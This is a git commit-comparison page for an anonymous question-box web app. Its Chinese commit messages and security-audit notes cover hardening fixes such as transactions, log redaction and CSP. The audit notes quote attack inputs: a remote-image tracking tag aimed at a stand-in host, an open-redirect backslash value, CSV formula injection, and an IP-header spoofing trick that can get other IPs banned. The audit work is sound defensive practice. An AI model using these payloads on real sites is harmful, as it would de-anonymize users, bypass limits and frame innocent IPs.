Compare commits

...
20 Commits
Author SHA1 Message Date
tamakyi 7f86db8937 docs(memory): 记录数据面板与图片压缩的实现、验证与踩坑 2026-10-29 18:26:12 +08:00
tamakyi f9aaef17e5 feat(ux): 图片选图即压缩,上传体积从 MB 级降到 KB 级
服务端早已把静态图转 WebP、长边限 1600(storage.GeneralEncodeSpec),但上传这一跳
发生在压缩之前:手机拍的 4~8MB 照片要先原样传完才能被缩小,移动网络 1~2 Mbps 下
要等几十秒,超过 5MB 校验的直接被拒、连写好的正文一起丢。

现在选图后先在浏览器内压缩,再随表单上传:
- canvas → WebP,长边 1600、质量 0.8(与服务端同档),一张照片通常降到 200~400KB
- createImageBitmap + imageOrientation:from-image 摆正 EXIF,老浏览器回退不带选项
- submit capture 兜底:选图立刻提交时先等压缩完成再真正 submit

三条安全边界(缺一不可,否则会「压出比原图更差的结果」):
- GIF/SVG 跳过:canvas 会把 GIF 画成静止首帧、SVG 栅格化
- 压完不到原体积 85% 退回原图:已优化小图重编码反而更大
- 透明 PNG 优先 WebP(支持 alpha),不支持 WebP 编码时退回 PNG 而非 JPEG(否则透明变黑)

实测(WSL headless Chromium + CDP):4.6MB PNG → 11.7KB WebP(0.3%),
小图原样保留、GIF 跳过。

顺带加 dev/sync-wsl.sh:把同步脚本里 rsync --delete 误删目标机 conf/app.ini 的坑
固化掉(该文件含 DB 密码与对象存储密钥,不在源目录里,必须 exclude)。
2026-10-29 18:26:04 +08:00
tamakyi 4e574ac64a feat(insights): 箱主数据面板——访问量、提问趋势、处理漏斗
新增 /user/insights,让箱主第一次能看到「有多少人来过我的箱、提问处理得怎么样」。

数据来源:
- 新表 box_views:一行 = 一访客×一天×一箱,views 累加,唯一索引
  (user_id, viewed_on, visitor)。刻意不内嵌 dbutil.Model —— 软删除 + 唯一索引
  会让被删行永久占槽,且删过的槽位再也插不进去。
- 访客标识 = HMAC(日盐, IP) 前 32 hex:同日可去重(UV 准)、跨日不可关联(隐私)。
  代价是近 7/30 天 UV = 各日 UV 之和,页面上已写明口径。

写入是异步的:buffered channel 512 + 2s 批量 flush,队列满即丢(统计尽力而为,
不该因为记一笔访问就拖慢页面)。过滤箱主本人、空 UA、爬虫 UA、预取请求。
密钥复用 server.xsrf_key;每日清理 400 天前的明细。

页面(纯 CSS 画图,不引图表库):
- 今日/近 7 天/近 30 天 KPI + 上周对比
- 30 天 PV/UV 双柱趋势、24 小时时段分布
- 提问处理漏斗 + 回答率进度条 + 自动结论

聚合层 internal/db/box_analytics.go 复用 analyticsDialectFor 的时区处理,
与全站 stats 分开(那个不含单箱维度、按自然日缓存)。

测试:box_views 4 项(含「同批同键先内存合并」——PG 的 ON CONFLICT 不允许
同条 INSERT 二次命中同一行)、insights 的 pct/窗口切分/visitorID/爬虫过滤。
2026-10-29 18:25:53 +08:00
tamakyi 5a05a61647 docs(api): 说明 ask-status 的 Method 检查是防御而非主路径
路由只注册了 POST(token 不能进 URL),所以 GET 会落到 NotFound 返回 404,
handler 里的 405 分支实际走不到。留着是为了将来路由若改成 f.Any 时仍然安全,
加上说明避免被当成死代码删掉。
2026-10-29 17:19:26 +08:00
tamakyi 4fcaa197cf docs(memory): 第三批修复与三个新踩到的坑
- 2026-10-29.md:第三批 7 项改动与验证数据
- MEMORY.md:三条长期结论 ——
  「用户主动删除 = 真删」(模型全带 DeletedAt,默认 Delete 是软删)、
  「配额必须与内容同事务」(incrementQuotaTx 是唯一实现,且投票口径是票数不是个数)、
  「错误页不套模板」(f.NotFound 不经过组级中间件,注入 template.Data 会 panic)
- topics/quality.md:标注第三批范围

新踩到的三个坑:
1. gofmt 会把注释列表 `// 1) ...` 改写成 `//  1. ...`,被标为未格式化时先排除这个
2. Select(...) 漏列 = 字段静默为空(摘要永远是空串,只有一项测试红)
3. CDP 验证纯前端:chrome 必须作为独立后台进程启动,跟在别的命令后面 `&`
   会随 shell 退出被回收;headless=new 的空标签页 type 常是 other
2026-10-29 17:18:47 +08:00
tamakyi 5def41d0f8 feat(ux): 真 404 / HTML 500 页,以及「提问者找回自己的提问」
一、错误页

原来未知路径一律 302 到首页:用户点了个失效链接,地址栏莫名跳到首页却什么
提示都没有,分不清是链接坏了还是自己点错了;对搜索引擎是软 404,失效链接会
被当成有效页面一直占抓取预算。500 则是 flamego.Recovery() 的纯文本
"Internal Server Error",白底黑字两行英文,没有返回入口,也没法报编号。

现在是 internal/route/errorpage.go 里的 writeErrorPage:
- 404 保留状态码 + 一页能看懂的说明 + 返回首页按钮 + noindex
- panic 由自写的 recoveryMiddleware 兜住,渲染同样的 HTML 500 页,
  并带上 trace id(用户反馈时报这个号就能定位日志),日志里也带完整栈
- 响应已写出时不再写头(否则 net/http 会忽略状态码并打 superfluous 警告)

为什么不套模板:f.NotFound 不经过组级中间件 —— template.Templater 与
Contexter(连同 session、CSRF)都挂在 f.Group 上,在 NotFound 里注入
template.Data 会直接 panic(实测:"value not found for type template.Data")。
而 recovery 是最外层,那时模板还没装配。错误页恰恰最不该依赖可能出错的链路,
所以用内联 HTML + i18n.T,语言从 Accept-Language 猜(拿不到 session)。

蜜罐分流仍在 NotFound 最前面:临时打开 enable_honeypot 实测 /wp-admin
仍返回假 WordPress 登录页(200),普通未知路径返回 404。

二、提问者找回自己的提问

不填邮箱时,唯一能追踪这条提问的东西是提问成功页上那条链接 —— 关掉页面、
链接冲掉了就永久失联。箱主认真答了,提问者永远不知道。这是这类产品最核心的
体验断点,而它不需要账号体系就能解决:

- 成功页把 {domain, id, token} 写进本机 localStorage(最多 30 条,按 domain+id 去重)
- 再访该箱时显示一条不打扰的横条:「这台设备上有 N 条提问记录,其中 M 条已有回答」,
  点「查看」展开列表,每条可直接打开
- 新增 POST /api/v1/ask-status 批量回答「哪些已被回答」:一次 IN 查询,不逐条 N+1

它不能用来枚举:必须同时给出正确 token 才返回 ok=true,而「token 错」「id 不存在」
「不属于该箱主」三种情况的响应完全相同(ok=false / answered=false / excerpt 为空),
无法区分。token 比较走常数时间,单次最多 20 条,限流 30/分钟。用 POST 不用 GET,
因为 token 不能进 URL(会留在浏览器历史、代理日志、Referer 里)。

列表摘要先过 MarkdownPlainText 再按 rune 截断:直接截原文会露出 ![图片](https://...)
这种噪音,一条带图的提问几乎只剩链接。

验证:
- verify_ask_history.py 12/12(含「错误 token / 不存在的 id / 别人的提问」三者
  响应完全一致、缺 CSRF 被拒、超 20 条截断)
- verify_ask_history_ui.mjs 用 CDP 在真实 Chrome 里跑:无记录时提示条隐藏;
  注入记录后显示「1 条,其中 1 条已有回答」;列表渲染、链接带 token、点击展开正常
- 错误页单测 6 项(HTML/不泄露 panic 内容/已写出时不重复写头/语言选择/状态码/转义)
2026-10-29 17:18:39 +08:00
tamakyi d5d25c804b fix(data): 删除改成一个事务且真删、配额与内容同事务
四类问题都出在「多次独立写入 + 失败只打日志」这个模式上。

1) 删除投票的级联没有事务(route/user/vote.go)
   选项 / 表单字段 / 提交记录 / 投票本体是 4 次独立写入,前 3 步失败只 Warn。
   中途失败会留下「选项没了但票还在」这种界面无法修复的状态 —— 重试删除时
   投票已不存在,只能报 not exist,脏数据永远留着。
   → db.Votes.DeleteWithCascade:四张表在同一事务里删完。

2) 删除其实是软删除,个人数据没真删掉
   模型都嵌了 dbutil.Model(含 DeletedAt),原来所有 Delete 都是软删:
   提交记录里参与者填写的文本、voter_ip、voter_token,以及提问里的 FromIP,
   只是「界面上看不见」,库里永久留着。用户点删除的预期不是这样。
   软删还会占住 link_token 唯一索引,删过的链接永远不能复用。
   → 删除投票与删除提问统一 Unscoped 真删;提问的追问/图片关联/配额回退
     原来也是三个独立写入(失败只 Warn),一并收进事务。

3) 配额计数会永久偏低
   「创建内容」与「quota_count+1」是两次写入,后者失败只 Warn:
   箱主看到的「已收集 7/10」偏小,达到上限后因为计数偏小实际还能继续收,
   等于定量收集被静默绕过;重置计数也校准不回来(重置是把计数清零,更脱节)。
   → 抽出 incrementQuotaTx(tx, userID, feature, delta) 作为唯一实现,
     提问 Questions.Create、私聊 CreateWithFirstMessage、投票提交
     VoteSubmissions.Create(新增 QuotaUserID)都在自己的事务里完成 +1。
   注意口径:投票的定量收集是「累计收到的票数」(提交成功时 +1),
   不是「创建了几个投票」—— 所以删除投票不回退这个计数。

4) 改写追问回答每次都发通知邮件
   箱主改措辞、补一句、修错别字都会重新保存,每次都发的话提问者会连着收到
   好几封一模一样的「您的提问有回复」。主回答那边早有 question.Answer == ""
   的判定,追问这里补齐:UpdateAnswerByID 在事务内读旧值返回 wasFirst。

顺带:
- isQuestioner 的 token 比较从 == 改为 subtle.ConstantTimeCompare,
  与 Pager 中间件里的校验同口径(== 按字节短路,可用响应时间逐字节试探)。
- CSV 导出的表头(字段名)与选项内容列补 sanitizeCSVCell。原来只有数据列走它,
  而选项名同样可能是 =HYPERLINK(...) 形式;判断也改成看 trim 后的首字符。
- 写路径的功能开关改 fail-closed:新增 db.FeatureStateOfStrict,读配置失败时
  拒绝而不是回退默认配置 —— 提问/投票的默认值是「开启」,fail-open 等于让一次
  数据库抖动绕过箱主设的关闭与定量上限。读展示仍用宽松版。

验证:全量单测(带 DB)与 go build ./... 通过;verify_round3 6/6(私聊
message_count 与实际消息数一致)、verify_p1 4/4、verify_round2 19/19、
verify_page_next 6/6、verify_chat_owner 3/3。
2026-10-29 17:18:28 +08:00
tamakyi 89e263cbd4 docs(memory): 记录第二批修复与「Python write_text 会改行尾」这个坑
- 2026-10-29.md:第二批 9 项改动与验证数据(含投票结果 2 万条 0.211s→0.023s),
  以及剩余待办清单(级联删除事务、配额漂移、JSON-LD/RSS、箱主数据面板等)
- MEMORY.md:构建测试段补 write_text 行尾陷阱与排查手法(看 git diff --stat / git show),
  其它约定段补 /healthz 与 /readyz 的语义边界(存活探针不查依赖)
- topics/quality.md:标注第二批已完成的范围

附带说明:本轮我自己也踩了 write_text 的坑,把 14 个 LF 文件写成了 CRLF,
靠 git diff --stat 的「整文件重写」发现、再用 git show HEAD:<file> 的行尾比对恢复。
2026-10-29 16:29:02 +08:00
tamakyi 03cb5ddcf0 fix(ui): 提交防重复覆盖验证码路径、waline 按页加载、懒加载、safe-area、硬编码文案接字典
1) 防重复点击原来漏了最主要的一条路径
   footer 的全局 submit 监听会禁用按钮,但**程序化 form.submit() 不触发 submit 事件** ——
   走 reCAPTCHA / Turnstile 的流程是在回调里调 form.submit() 的,而默认配置
   captcha_type = recaptcha,也就是主提问流一直没有防重复。登录、注册、找回密码、
   投票、注销账号同样走这个回调。
   → 把「切提交中状态」抽成 tbBeginSubmit(form, trigger) 挂到 window,
     验证码回调先调它再 submit。7 个 data-callback="onSubmit" 的模板全部受益。
     顺带加了 data-tb-restore 的重复覆盖保护,避免 bfcache 复位后按钮卡在转圈。

2) waline.js / waline.css 从全站改按页加载
   只有 home.html 与 item.html 用评论区,但此前挂在 header 里 —— 登录、后台、投票、
   私聊每页都下载解析 waline.js(2.15 未压缩约 200KB)。实测 /login 已无引用。

3) 图片懒加载:explore 列表头像与题目配图加 loading="lazy"(首屏推荐位不加,避免影响 LCP)。

4) 移动端底栏:body 只预留固定 56px,而底栏 padding 含 safe-area-inset-bottom。
   带 Home Indicator 的 iPhone 上 inset 约 34px、底栏实际约 88px,最后约 32px
   (页脚备案、存活计时)被压在栏下,滚到底也看不到。改成 calc(56px + env(...))。

5) 硬编码中文接字典(en/ja 用户此前直接看到中文):
   history-template 的「查看回答 / 加载更多 / 加载中... / 无更多留言」、
   单题页「@xxx 以前回答过的问题」(字典里本来就有 ask.history)、
   投票页「(最多 N 项)」改为带参数的整句(原先前半走字典、后半手写中文)。
   新增 4 个 key × 4 语言。

实测:箱主语言设为 en 后箱主页显示 View answer ×2 / Load more / No more posts,中文零残留。
2026-10-29 16:28:53 +08:00
tamakyi f2e0c43083 feat(ops): 健康检查端点,并把上传超时与服务端读超时对齐
1) /healthz 与 /readyz
   改动前站内唯一的「探活」手段是 curl /,而首页只渲染模板、不查数据库:
   DB 挂了首页照样 200(漏报),Redis 挂了首页又可能 500(误报)。
   监控、CDN 源站健康检查、滚动重启的摘流判定都没有可靠依据。
   → /healthz 永远 200,刻意不碰任何依赖:进程活着 ≠ 能对外服务,
     把 DB 检查塞进存活探针会导致数据库抖动时进程被反复重启,对恢复毫无帮助;
   → /readyz 查 DB(2s 超时),失败 503;响应体只回组件状态,
     绝不回错误详情 —— 这是公开端点,DB 报错常带库名/主机名/账号。
   实测:停掉 PostgreSQL 后 /healthz 仍 200、/readyz 503,恢复后 200。

2) ReadTimeout 30s → 120s
   站内允许单图 8MB、请求体上限 12MB。30s 传完 8MB 需要 ≥273 KB/s 上行,
   而手机 4G 上行常在 1–2 Mbps(125–250 KB/s)—— 一张 8MB 图必然超时,
   且用户已写好的正文会一起丢(POST 失败不回填)。120s 对应约 68 KB/s,
   偏远地区 3G 也能过。
   放宽它不会让 slowloris 重新可行:那类攻击卡在「发不完 header」,
   由 10s 的 ReadHeaderTimeout 拦住,ReadTimeout 只影响读完 header 之后传 body 的时长。
2026-10-29 16:28:44 +08:00
tamakyi 0124e392c7 fix(correctness): 三处幂等缺陷、私聊首条事务化、验证码失败不再丢正文
四处都属于「并发/失败路径下状态不一致」,用户侧表现为「点了没反应」「发了没收到」。

1) 删除会话重复回退配额
   MarkDeletedByOwner 是 check-then-act:双击时两个请求都读到 is_deleted_by_owner=false,
   都执行 UPDATE、都执行一次 IncrementQuota(-1)。计数不会变负,但会白吃掉其他会话的额度,
   表现为定量收集提前关闭,箱主重置计数也校准不回来。
   → 改条件更新 + RowsAffected 决定是否回退。

2) 双击产生两条重复追问
   「上一条追问必须先被回复」原来只在 handler 里判断(事务外):两个请求都能通过那次检查,
   随后被 CreateIfBelowLimit 的问题行锁串行化,各自 count 都 < 3 —— 两条相同追问都建成,
   吃掉 2/3 名额,箱主还收两封邮件。
   → 判定挪进事务,新增 ErrFollowUpAwaitingReply;handler 的预检查保留作为快速失败。

3) 双击置顶结果与预期相反
   SetPinned(id, !question.IsPinned) 是 read-modify-write:两个请求都读到 false 都写 true,
   用户点两次期望「置顶后取消」,实际仍是「置顶」。
   → 新增 SetPinnedIfCurrent(current, next),第二次因状态已变而 0 行,语义是「只切换一次」。

4) 私聊首条三步写入无事务
   建会话 → 写首条消息 → 计数是三次独立写入,第二步失败会留下 message_count=0 的空会话,
   箱主列表里能点进去却什么都没有;而 BeforeCreate 已占掉一个 6 字符 token(唯一索引),
   孤儿会话永久占用它。
   → 新增 CreateWithFirstMessage,三步收进一个事务。

5) 验证码失败丢正文
   该分支原来走 SetErrorFlash + Redirect,而其它失败分支都是 SetError + Success 回填表单。
   验证码失败恰恰是最常见的失败(token 过期、网络抖动),结果用户写好的正文整段丢失。
   → 改为同请求渲染并回填;错误文案不再透传 err.Error()(可能含上游原始信息)。

6) 5 处裸类型断言改带 ok(share.go ×3 / context.go ×1 / user/vote.go ×1),
   断言失败时丢弃脏缓存并走重建,而不是 panic 掉整个请求。share.go 的 ttlCache 补 Delete。

验证:内部 DB 测试 3 项(并发删除只回退一次配额 5→4、双击只产生一条追问、
双击只切换一次置顶);verify_round3.py 6/6(验证码失败 200+正文回填+不建提问、
私聊首条 message_count 与实际消息数一致)。
2026-10-29 16:28:34 +08:00
tamakyi 0041cc51f8 perf(vote): 结果聚合改 stale-while-revalidate,消除持续投票时的 O(N²)
多选 / 评分 / 排序 / 表单的统计必须在 Go 层逐条 json.Unmarshal 全部提交记录
(ListByVoteID 传 nil 不设 LIMIT),而 Submit 每来一票就 InvalidateResultsCache
删掉缓存 —— 于是第 k 票触发一次 O(k) 重算,持续有人投票时稳态是 O(N²)。
一万票的投票在投票期间每次刷新都要扫一万行 JSON。

现在:
- LoadResults 用 GetWithExpiry 读到「已过期但仍在」的旧值,先返回给调用方,
  再在后台按投票去重重算(sync.Map 占位 + shared.SafeGo,60s 超时)
- 后台只拷贝 ID/Type/AllowCustom 三个字段,不把 handler 正在用的 *db.Vote 带进 goroutine
- Submit 从 InvalidateResultsCache(删缓存)改为 ExpireResultsCache(标记过期保留旧值),
  否则每次提交都会让下一次读退化成同步全量重算
- 选项变更 / 删除投票仍走 InvalidateResultsCache(结构性变化,旧值已无意义)
- TTLCache 新增 GetWithExpiry / Expire:Get 遇到过期项直接删除并返回 false,
  「过期」与「不存在」分不开,正是无法做 SWR 的原因

实测(2 万条多选提交):冷启动 0.211s → 过期首读 0.023s(快 9.2x),
后台刷新后 0.009s。缓存单测 3 项覆盖 GetWithExpiry 不删条目 / Expire 保留值。

顺带把 7 处裸类型断言改成带 ok(其中 results.go 的是新代码)。
2026-10-29 16:28:23 +08:00
tamakyi d4e6da76f1 docs(memory): 记录第二轮复查结论与六项修复的验证方式
- 新增 topics/quality.md:业务正确性 / 运维 / 前端体验四类结论,含
  「私聊取最早 50 条」「Classic() 的 Logger 记 RequestURI」这两个坑的成因,
  以及处置覆盖面、Redis 两种故障模式、产品缺口(无 page view / 提问者找不回自己的提问)
- 2026-10-29.md:本轮六项修复的改动与验证结果,另记两个实现坑
  (limit 兜底不该抬大用户配置;Python bytes 字面量不支持 \uXXXX)
- topics/sec.md / 2026-10-27.md:补上一轮遗漏的字体自动发现与 CSP enforce 结论
- MEMORY.md:索引加 quality,处置覆盖面一条标注投票链路已补齐
2026-10-29 15:53:57 +08:00
tamakyi c971d99bdb fix(vote): 站方处置覆盖投票链路
提问链路上 ActiveLevel 有 7 处调用,投票链路 0 处。于是 L4(整页停用)处置某人后:
/_/domain 已经 302 到 /restricted,但 /vote/{token} 照常渲染、照常收票;被处置者
还能发新投票;探索页的「热门/全部投票」也不做处置过滤 —— 同一张页面里
「箱主消失了、他的投票还在曝光」。这是运营口径不一致,不是越权。

补齐三处,与提问链路对齐:
- vote.Page      L4 → 302 /restricted(同箱主页;查询失败 fail-open,与 Pager 一致)
- vote.Submit    L4 → 拒绝(页面进不去不代表直接构造 POST 也拦得住)
- VotePublish    L2 起拒绝(L2 已是「收窄公开」,不该再新增公开内容)
- 探索页投票列表改用 Restrictions.ActiveLevels 批量过滤(与 GetShowInHome 同口径,
  一次查询避免 N+1),功能开关过滤逻辑保持不变

新增字典 key vote.err.restrictedPublish(四语言)。

验证(本地实例):
- L4 后 /vote/{token} 302 → /restricted;撤销后恢复 200
- 探索页该投票出现次数 0(处置中)→ 2(撤销后)
- 草稿投票在 L2 下发布后状态停留 draft,撤销后同一请求变为 published
2026-10-29 15:53:49 +08:00
tamakyi ced4c1635c fix(question): 图片上传失败时回滚已创建的提问
Questions.Create 在图片处理之前就提交了,失败分支只渲染错误页、不回滚。于是:
箱主收到一条无图提问,提问者只看到「图片过大 / 上传失败」以为没发出去;再想重发
又会被 DuplicateGuard 按「同 IP + 同内容 5 分钟内重复」拦住 —— 既没发成功也重发不了。

现在失败分支先 Questions.DeleteByID 回滚(连带清理追问与图片关联,并回退前面
那次提问配额 +1),再做提示。顺带把不需要的 else 去掉(两个分支都以 return 结束)。

验证:6MB 图提交后提问数增量 0、该行 deleted_at 非空(回滚走的是软删);
无图对照增量 1。两条路径均返回 200,正常流程未受影响。
2026-10-29 15:53:39 +08:00
tamakyi 11d6e701ee fix(ops): 访问日志脱敏、优雅关闭、Redis 可降级并启动即探活
三处都属于「故障时才发现」的运维缺口,一起改。

1) 访问日志泄露凭证
   flamego.Classic() 内部 Use(Logger()),而 Logger 记的是 RequestURI —— 含 query。
   实测日志出现 path=/_/tblocal/4?t=SECRETTOKEN123:?t= 是私密提问钥匙,
   ?code= 是一次性改密凭证,?q= 是搜索词,全都会被明文落盘,凡是能看日志的人
   都能直接读私密提问或重置密码。internal/tracing 早就为同一原因只取 URL.Path
   并留了注释,漏的是框架自带那层。
   → 改 flamego.New() + accessLogMiddleware,只记 Method/Path/Status/Duration/IP;
     静态资源成功请求不记(噪音),4xx/5xx 照记(排查裂图靠它)。

2) 没有优雅关闭
   直接 ListenAndServe,Go 对 SIGTERM 是立即退出,每次部署都会把正在写库的 POST
   就地处死,留下「提问已 INSERT、图片没传完」这类半成品。
   → signal.NotifyContext(SIGTERM/SIGINT) + srv.Shutdown(15s),超时才 Close;
     退出前关连接池。实测 8 个并发分享图请求中发 SIGTERM,8/8 全部成功。

3) Redis 单点
   session 建在 Redis 上,load 失败 flamego/session 会 panic → 每请求 500(含匿名访客);
   而 cache.Cacher 没判空 Addr,go-redis 会回退 localhost:6379,于是「不配 Redis」
   这种被允许的部署里找回密码整体不可用、私信邮件节流失效,且启动零提示。
   → cache 跟随开关(未配则 MemoryIniter);启动 PingRedis fail-fast,显式 2s 超时。
     实测停掉 Redis 后启动立即失败并明确指出是 Redis。

验证:单测 2 项(query 永不入日志 / 静态资源过滤口径);重启日志出现
「收到退出信号」→「HTTP 服务已关闭」;启动打「Redis 连接正常」。
2026-10-29 15:53:32 +08:00
tamakyi 46932b4c53 fix(chat): 会话消息只取最早 50 条,第 51 条起对双方永久不可见
GetByConversationID 原来是 Order("created_at ASC") + Limit(50),而会话上限是
conf.Limits.ChatMaxMessages(默认 200)。唯一调用方 chat_handler 永远传 nil cursor,
于是取到的永远是「最早 50 条」:第 51 条起写库成功、message_count 原子递增、
页面显示 51/200,但列表里没有它 —— 等多久、换设备、重新登录都不会出现。
本地实测 55 条会话只渲染 #1–#50,双方都以为对方没回,直到 200 条被判满自动关闭。

改为:
- Order("id DESC") 取最新 limit 条,再在内存反转成时间正序(气泡从上到下=旧→新)
- limit 取 conf.Limits.ChatMaxMessages,兜底只处理零值(配置未初始化);
  不写成 limit<50→50,那样会把箱主显式配的小上限抬大
- 排序键用 id 而非 created_at:同毫秒写入的 created_at 相同,排序不稳定
- 游标 query 去掉 NULL 风险:显式要求 cursor.Value 非空

验证:55 条实测渲染 55 条、范围 #1–#55;单测 3 项(全量可见 / 超限保留最新 /
游标翻页),变异验证把 ORDER 改回 ASC 时「超限保留最新」立刻变红。
2026-10-29 15:53:22 +08:00
tamakyi 430c6ef6d8 docs(memory): 记录审计结论(CSP 默认 enforce、分享卡字体限制、复查新发现)
- topics/sec.md:两轮修复的结论、全局复查新发现(私聊 POST 越权、页面密码 next)、
  CSP 白名单口径、字体只能用 glyf 轮廓这条硬限制,以及复现脚本的两种「假红」
- MEMORY.md:安全小节补跳转白名单、GET/POST 校验不对称、CSP/umami、注册防枚举
- 2026-10-27.md / topics/build.md:本地 WSL 部署与验收的具体跑法
2026-10-27 12:37:55 +08:00
tamakyi e807dea218 feat(share-card): 字体自动发现 + 启动探测,缺字体不再等到第一次请求才 500
- 系统候选补上 glyf 轮廓的 CJK 字体(文泉驿正黑/微米黑、DroidSansFallback、
  AR PL UMing),并把 Noto Sans CJK 压到最后:它是 CFF/OTTO,freetype 必定解析失败,
  排前面只会白白多读十几 MB
- static/fonts 同时按当前工作目录与可执行文件目录查找,systemd 没配
  WorkingDirectory 时也能找到(原先只按 CWD,文件在却报「没有可用字体」)
- 启动时探一次字体:命中打 Info 带路径,缺失打 WARN 并给出补救命令
  (apt install fonts-wqy-zenhei / 放 static/fonts/ / 配 font_path)
- .ttc 先提取首个字面再用(仅对 glyf 轮廓的集合有效,如文泉驿);
  失败结果缓存 1 分钟,避免公开端点被「每请求重新解析十几 MB」放大

实测:本地实例 apt install fonts-wqy-zenhei 后无需任何配置,启动即打出
font=/usr/share/fonts/truetype/wqy/wqy-zenhei.ttc,/share-card 与单题分享图
从 500 变为 200 image/jpeg,中文与二维码渲染正常。
2026-10-27 12:37:48 +08:00
tamakyi 7802bb2078 fix(security): 修复安全审计的 P1/P2/P3 项,含全局复查新发现的两处越权与外跳
P1:
- 外链图片:markdown 渲染层只放行站内与自有 CDN 图片。配置里的
  image_bucket_cdn_host 常写成 host/path,统一归一化后再比对,避免把自家图一起剥掉
- 密码:页面/提问密码最小 6 位;密码比对挪到验证码之后;页面密码失败锁定 5 次/10 分钟
- 客户端 IP:CF-Connecting-IP / EO-Client-IP 只在 TCP 对端可信(回环或 trusted_proxies)
  时采信,公网对端带来的权威头一律忽略

P2/P3:
- 跳转参数收敛到 shared.SafeRedirectTarget:拒反斜杠与控制字符(url.Parse 会把 %0d%0a
  解成 CRLF,伪造 Location),最后再用 path.Clean 验一次前缀
- 注册不再暴露「邮箱已注册 / 已停用」:与全新注册共用同一个成功出口,只在日志留痕
- CSP:默认 enforce,白名单由配置派生,覆盖 umami(运行时注入)、Turnstile 与
  按 sentry_dsn 条件放行的 Sentry CDN
- /user 与 /_ 下发 no-store;补 X-XSS-Protection、Permissions-Policy,并把安全头前移到
  静态资源中间件之前(原先静态文件拿不到 nosniff/HSTS)
- 封禁事实落库 ban_records;429 统一带 Retry-After 与本地化文案
- token 比较改常量时间;探索页页码上限;JSON 响应显式 Content-Type

全局复查补的两处:
- 私聊 SendMessage 的 POST 缺 conv.OwnerID 校验,被拉黑者可换 domain 继续发消息
- 页面密码 next 与登录 to 同源的反斜杠外跳

验收:verify_p1_fixes 4/4、verify_round2 19/19、verify_page_next 6/6、
verify_chat_owner 3/3(含变异对照);单测与 go build ./... 全通过。
2026-10-27 12:37:40 +08:00
89 changed files with 7818 additions and 641 deletions
+5
View File
@@ -45,3 +45,8 @@ __pycache__/
# 本地凭据与一次性状态(测试账号密码等),只留在本机,不进版本库。
# 目录说明见 .workbuddy/local/test-accounts.md 的抬头注释。
/.workbuddy/local/
# WSL 测试环境的 app.ini 模板:含数据库密码与对象存储密钥,绝不能进版本库。
# 用法见 dev/sync-wsl.sh(同步时必须排除 conf/app.ini,否则会被 rsync --delete 删掉)。
/dev/wsl-app.ini
/dev/_*.py
+77
View File
@@ -47,3 +47,80 @@
- 顺手修预览测试:`GrowthMoM` 原来写死 12.3,与 `monthly` 造的数据对不上,
而新句会同时印出两个月的条数 → 截图会显示「5620 比 4890 多了 12.3%」这种假证据。
改成从 `monthly[10]/monthly[9]` 算。
## 安全评估(AI 挖洞背景下的一次全量自检)
报告:`outputs/security-audit-2026-10-25.md`,脚本在 `outputs/sec-audit-2026-10-25/`。
结论:无 getshell / SQLi / 未授权读数据;但 2 个 P1 直击「匿名」承诺。
### P1-1 匿名提问可植入远程图片(去匿名化)
- `markdown.go` 的 `safeURL` 只校验协议,`<img src=https://任意域>` 能原样输出。
- 唯一挡住它的是审核「广告_引流类」维度,而该维度**只在 strict 档生效**
(`censor/policy.go`:standard 只有 Abuse/Contraband,lax 为空)。
- 实测:账号切 standard → `<img src="https://tb871870.example.org/standard.png">` 直接入库并渲染;
切回 strict 才被拒。→ 修法必须在 `markdown.go` 层限制 img src 为站内/白名单,不能依赖档位。
- 同时确认 8 种混淆(实体编码、`java\tscript:`、协议相对 `//`、反斜杠)都被审核识别。
### P1-2 访问密码可爆破 + 提问密码校验早于验证码
- `UpdatePagePassword`/`UpdateAskPassword` 只有 `maxlen:30`,**无 minlen**,可设 1 位。
- `page.go` 的 `New()` 第一件事就比对 AskPassword,验证码要到后面才校验 →
实测「错误提问密码 + `deadbeef:999999`」返回「提问密码错误」而不是验证码错误 →
**猜密码完全不消耗验证码**。限额 30/min(ask)、10/min(page)。
### 其余P2/P3
- 登录开放重定向:`to=/\evil.example` → `Location: /\evil.example`,浏览器按 WHATWG
把 `\` 当 `/` → `https://evil.example/`。`path.Clean` 不处理反斜杠。
- 注册接口枚举邮箱(返回「已注册」),与 forgot-password 的防枚举口径不一致。
- 无 CSP;`X-XSS-Protection: 1` 过时;`/user` 无 `Cache-Control: no-store`。
- 限流/自动封禁是进程内存态(多副本叠加、重启清零)。
- 匿名投票身份 = `vote_fp` cookie,清 cookie 即换身份,仅 200/min/IP 兜底。
- 登录 `to` 兜底是死代码:`path.Clean("/"+to)` 恒非空 → 登录后永远落 `/` 而非箱主页。
- JSON 响应无 `Content-Type`(实测 text/plain);429 无 `Retry-After`。
### 无法从外网确认的一项
`trust_proxy` 真实值。三种伪造头(XFF / X-Real-IP / EO-Client-IP)各 22 次都不被采信
(好的方向:无法伪造绕限流),但这既可能是 `trust_proxy=false`(→ 按 CF 边缘 IP 聚合,
限流与封禁会误伤整片区域),也可能是 true 且在 CF 侧删了 EO-Client-IP。需登服务器看 app.ini。
### 已验证没事(别重复怀疑)
CSRF 绑 uid(无 token POST → 400);18 条 XSS 载荷全灭;跨箱题目/投票越权全 302;
页面密码对主页/整箱分享图/单题分享图/API 四个出口都生效;pixel/service/ShareCard 无 SSRF;
`exec cwebp` 不接用户输入;SMTP 默认校验证书;`RegenerateID` + `pwd_ver`;TLS1.0/1.1 拒绝;
无 CORS 头;测试站蜜罐已开(`/.git/HEAD`、`/.env` 返回假后台)。
### 测试卫生
- 测试站账号 `tbunread1022181904`,脚本已把严格度恢复 strict、清空 page/ask 密码、
删除本轮 15 条测试提问(115–129)。下次复用前先确认这三项是干净的。
- 隔离 venv 里装了 `requests`(`~/.workbuddy/binaries/python/envs/default`),
比 urllib 顺手;`/api/captcha/generate` 限流 20/min,批量提交脚本必须带 429 重试。
## 安全评估(续):trust_proxy=true 引出的 P1-3
用户确认两套环境 `trust_proxy = true`。据此重做了 IP 采信那一块,发现比原来的推断严重:
### P1-3 双 CDN 下权威头优先次序反了
- `internal/shared/ip.go` 的 `ResolveClientIP` **无条件**先读 `CF-Connecting-IP`,再读 `EO-Client-IP`。
- 前提「权威头只能由 CDN 写入」只对 Cloudflare 成立:
- CF:强制覆盖 `CF-Connecting-IP`,客户端伪造直接 **403**(生产/测试站实测一致)。
- **EdgeOne:不剥离客户端传入的 `CF-Connecting-IP`**,`share.shiroko.one` 实测带该头返回 200
(响应头 `Server: edgeone makers` / `EO-LOG-UUID`)。
- 代码优先读 CF 那个头 → 走 EO 线路时客户端 IP 完全可控。后果:限流/IP 黑名单全失效,
且 `autoban.Record` 可被用来**栽赃任意 IP**(填别人的 IP 连打 10 次敏感路径 → 对方被封)。
